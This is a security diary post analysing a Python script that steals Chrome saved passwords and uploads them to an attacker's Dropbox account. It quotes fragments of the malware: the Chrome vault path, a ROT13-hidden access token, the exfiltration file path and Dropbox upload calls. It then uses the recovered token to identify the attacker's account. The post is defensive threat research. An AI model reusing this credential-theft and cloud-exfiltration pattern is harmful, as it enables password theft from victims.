My next class:

Using API's to Track Attackers

Published: 2020-08-18. Last Updated: 2020-08-18 06:52:27 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

For a few days, I’m keeping an eye on suspicious Python code posted on VT. We all know that VBA, JavaScript, Powershell, etc are attacker’s best friends but Python is also a good candidate to perform malicious activities on a computer. Even if Python isn't installed by default, it’s easy to “compile” a Python script to make it portable via a PE file. There exists multiple tools to achieve this, my favorite being 'pyinstaller':

c:\python35\scripts> pyinstaller.exe —one file —noconsole c:\malicious.py

Note that the Python code is not compiled but embedded in the PE with all the required files/libraries and… a Python interpreter. The generated executable can, therefore, be sometimes very big.

Yesterday, I found an interesting piece of malicious Python code that steals Chrome credentials by attacking the default password vault:

\AppData\Local\Google\Chrome\User Data\default\Login Data

It's not very difficult to decrypt Chrome saved passwords, you just need to get the master key[1]. 

The script SHA256 hash is 73f28853a809cd3c31717e4849bec90b4545f319a3c8d90669bc37356ca829f4 and has a current VT score of 2/58[2]! The code is very simple, not obfuscated. The attackers reused exactly the same piece of coded (link above) to decrypt the master key - hey, why reinvent the wheel? To exfiltrate data, they decided to use Dropbox. The well-known file sharing service provides indeed a nice Python interface to its API[3] which is very easy to use:

>>> import dropbox
>>> d = dropbox.Dropbox(access_token)
>>> d.files_upload(open(“local_file.txt”, "rb").read(), “remote_file.txt”, dropbox.files.WriteMode.overwrite)

To access your Dropbox account, you need to generate an ‘access_token’[4] that must be available somewhere in the script. Storing such sensitive information is always touchy. This time, they just used ROT13:

# pass accesstoken in rot13 to avoid sring detection - people having control over the account
access_token = encode(“xxxxx”, 'rot13')

So, let's try to find who's behind this script! 

When you don't have experience with Python library objects, your first reflex must be to search for the available methods via dir():

>>> import dropbox
>>> d.dropbox.Dropbox("xxxxx")
>>> for method in dir(d):
...     print(method)
...
_API_VERSION
_DEFAULT_TIMEOUT
_ROUTE_STYLE_DOWNLOAD
_ROUTE_STYLE_RPC
_ROUTE_STYLE_UPLOAD
__class__
__delattr__
__dict__
__dir__
__doc__
__eq__
__format__
__ge__
__getattribute__
__gt__
__hash__
__init__
__init_subclass__
__le__
__lt__
__metaclass__
__module__
__ne__
__new__
__reduce__
__reduce_ex__
__repr__
__setattr__
__sizeof__
__str__
__subclasshook__
__weakref__
_get_route_url
_headers
_host_map
_logger
_max_retries_on_error
_max_retries_on_rate_limit
_oauth2_access_token
_raw_user_agent
_save_body_to_file
_session
_timeout
_user_agent
auth_token_from_oauth1
auth_token_revoke
clone
file_properties_properties_add
file_properties_properties_overwrite
file_properties_properties_remove
file_properties_properties_search
file_properties_properties_search_continue
file_properties_properties_update
file_properties_templates_add_for_team
file_properties_templates_add_for_user
file_properties_templates_get_for_team
file_properties_templates_get_for_user
file_properties_templates_list_for_team
file_properties_templates_list_for_user
file_properties_templates_remove_for_team
file_properties_templates_remove_for_user
file_properties_templates_update_for_team
file_properties_templates_update_for_user
file_requests_create
file_requests_get
file_requests_list
file_requests_update
files_alpha_get_metadata
files_alpha_upload
files_copy
files_copy_batch
files_copy_batch_check
files_copy_reference_get
files_copy_reference_save
files_copy_v2
files_create_folder
files_create_folder_v2
files_delete
files_delete_batch
files_delete_batch_check
files_delete_v2
files_download
files_download_to_file
files_download_zip
files_download_zip_to_file
files_get_metadata
files_get_preview
files_get_preview_to_file
files_get_temporary_link
files_get_thumbnail
files_get_thumbnail_batch
files_get_thumbnail_to_file
files_list_folder
files_list_folder_continue
files_list_folder_get_latest_cursor
files_list_folder_longpoll
files_list_revisions
files_move
files_move_batch
files_move_batch_check
files_move_v2
files_permanently_delete
files_properties_add
files_properties_overwrite
files_properties_remove
files_properties_template_get
files_properties_template_list
files_properties_update
files_restore
files_save_url
files_save_url_check_job_status
files_search
files_upload
files_upload_session_append
files_upload_session_append_v2
files_upload_session_finish
files_upload_session_finish_batch
files_upload_session_finish_batch_check
files_upload_session_start
paper_docs_archive
paper_docs_create
paper_docs_download
paper_docs_download_to_file
paper_docs_folder_users_list
paper_docs_folder_users_list_continue
paper_docs_get_folder_info
paper_docs_list
paper_docs_list_continue
paper_docs_permanently_delete
paper_docs_sharing_policy_get
paper_docs_sharing_policy_set
paper_docs_update
paper_docs_users_add
paper_docs_users_list
paper_docs_users_list_continue
paper_docs_users_remove
request
request_json_object
request_json_string
request_json_string_with_retry
sharing_add_file_member
sharing_add_folder_member
sharing_change_file_member_access
sharing_check_job_status
sharing_check_remove_member_job_status
sharing_check_share_job_status
sharing_create_shared_link
sharing_create_shared_link_with_settings
sharing_get_file_metadata
sharing_get_file_metadata_batch
sharing_get_folder_metadata
sharing_get_shared_link_file
sharing_get_shared_link_file_to_file
sharing_get_shared_link_metadata
sharing_get_shared_links
sharing_list_file_members
sharing_list_file_members_batch
sharing_list_file_members_continue
sharing_list_folder_members
sharing_list_folder_members_continue
sharing_list_folders
sharing_list_folders_continue
sharing_list_mountable_folders
sharing_list_mountable_folders_continue
sharing_list_received_files
sharing_list_received_files_continue
sharing_list_shared_links
sharing_modify_shared_link_settings
sharing_mount_folder
sharing_relinquish_file_membership
sharing_relinquish_folder_membership
sharing_remove_file_member
sharing_remove_file_member_2
sharing_remove_folder_member
sharing_revoke_shared_link
sharing_share_folder
sharing_transfer_folder
sharing_unmount_folder
sharing_unshare_file
sharing_unshare_folder
sharing_update_file_member
sharing_update_folder_member
sharing_update_folder_policy
team_log_get_events
team_log_get_events_continue
users_get_account
users_get_account_batch
users_get_current_account
users_get_space_usage
with_path_root
>>>

As you can see, all Dropbox features are fully supported by the API is fully and allow you to perform almost anything on files and your account.

The very first interesting method to use is users_get_current_account() to get information about the account. Now, we know more information about the attackers:

>>> for i in str(client.users_get_current_account()).split(','):
...     print(i)
...
FullAccount(account_id='dbid:xxxxxxxxxx'
 name=Name(given_name='xxxxx xxxxxx'
 surname=''
 familiar_name='xxxxx xxxxxx'
 display_name='xxxxx xxxxxx'
 abbreviated_name='xx')
 email='xxxx.xxxxx@gmail.com'
 email_verified=True
 disabled=False
 locale='en'
 referral_link='https://www.dropbox.com/referrals/xxxxxxxxxx?src=appx-xxxxxxx'
 is_paired=False
 account_type=AccountType('basic'
None)
 root_info=UserRootInfo(root_namespace_id='xxxxxxxxxx'
 home_namespace_id='xxxxxxxxxx')
 profile_photo_url='https://dl-web.dropbox.com/account_photo/get/dbaphid%xxxxxx?size=128x128&vers=xxxxxxxxx'
 country='US'
 team=None
 team_member_id=None)
>>>

You can also check the profile picture:

Based on what is found in the Python script, data is exfiltrated in a '/passwords' directory: 

file_to = "/passwords/" + str(getpass.getuser()) + "'s_passwords.txt"

So, let's have a look at the existing files. 

>>> for file in d.files_list_folder('').entries:
...     print(file.name)
...
passwords
Get Started with Dropbox.pdf

We have indeed this interesting directory (together with the default documentation file provided by Dropbox). Let's check inside the directory:

>>> for file in d.files_list_folder('/passwords').entries:
...     print(file.name)
...
xxxxx's_passwords.txt
xxxxx's_passwords.txt
>>>

Ok, let's stop here, we will NOT grab files and have a look at the stolen data.

Conclusion: If API's are very useful from an attacker perspective, they are also very interesting when you need to investigate an incident or do some hunting!

[1] https://github.com/agentzex/chrome_v80_password_grabber
[2] https://www.virustotal.com/gui/file/73f28853a809cd3c31717e4849bec90b4545f319a3c8d90669bc37356ca829f4/detection
[3] https://github.com/dropbox/dropbox-sdk-python
[4] https://dropbox.tech/developers/generate-an-access-token-for-your-own-account

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)
My next class:

Comments


Diary Archives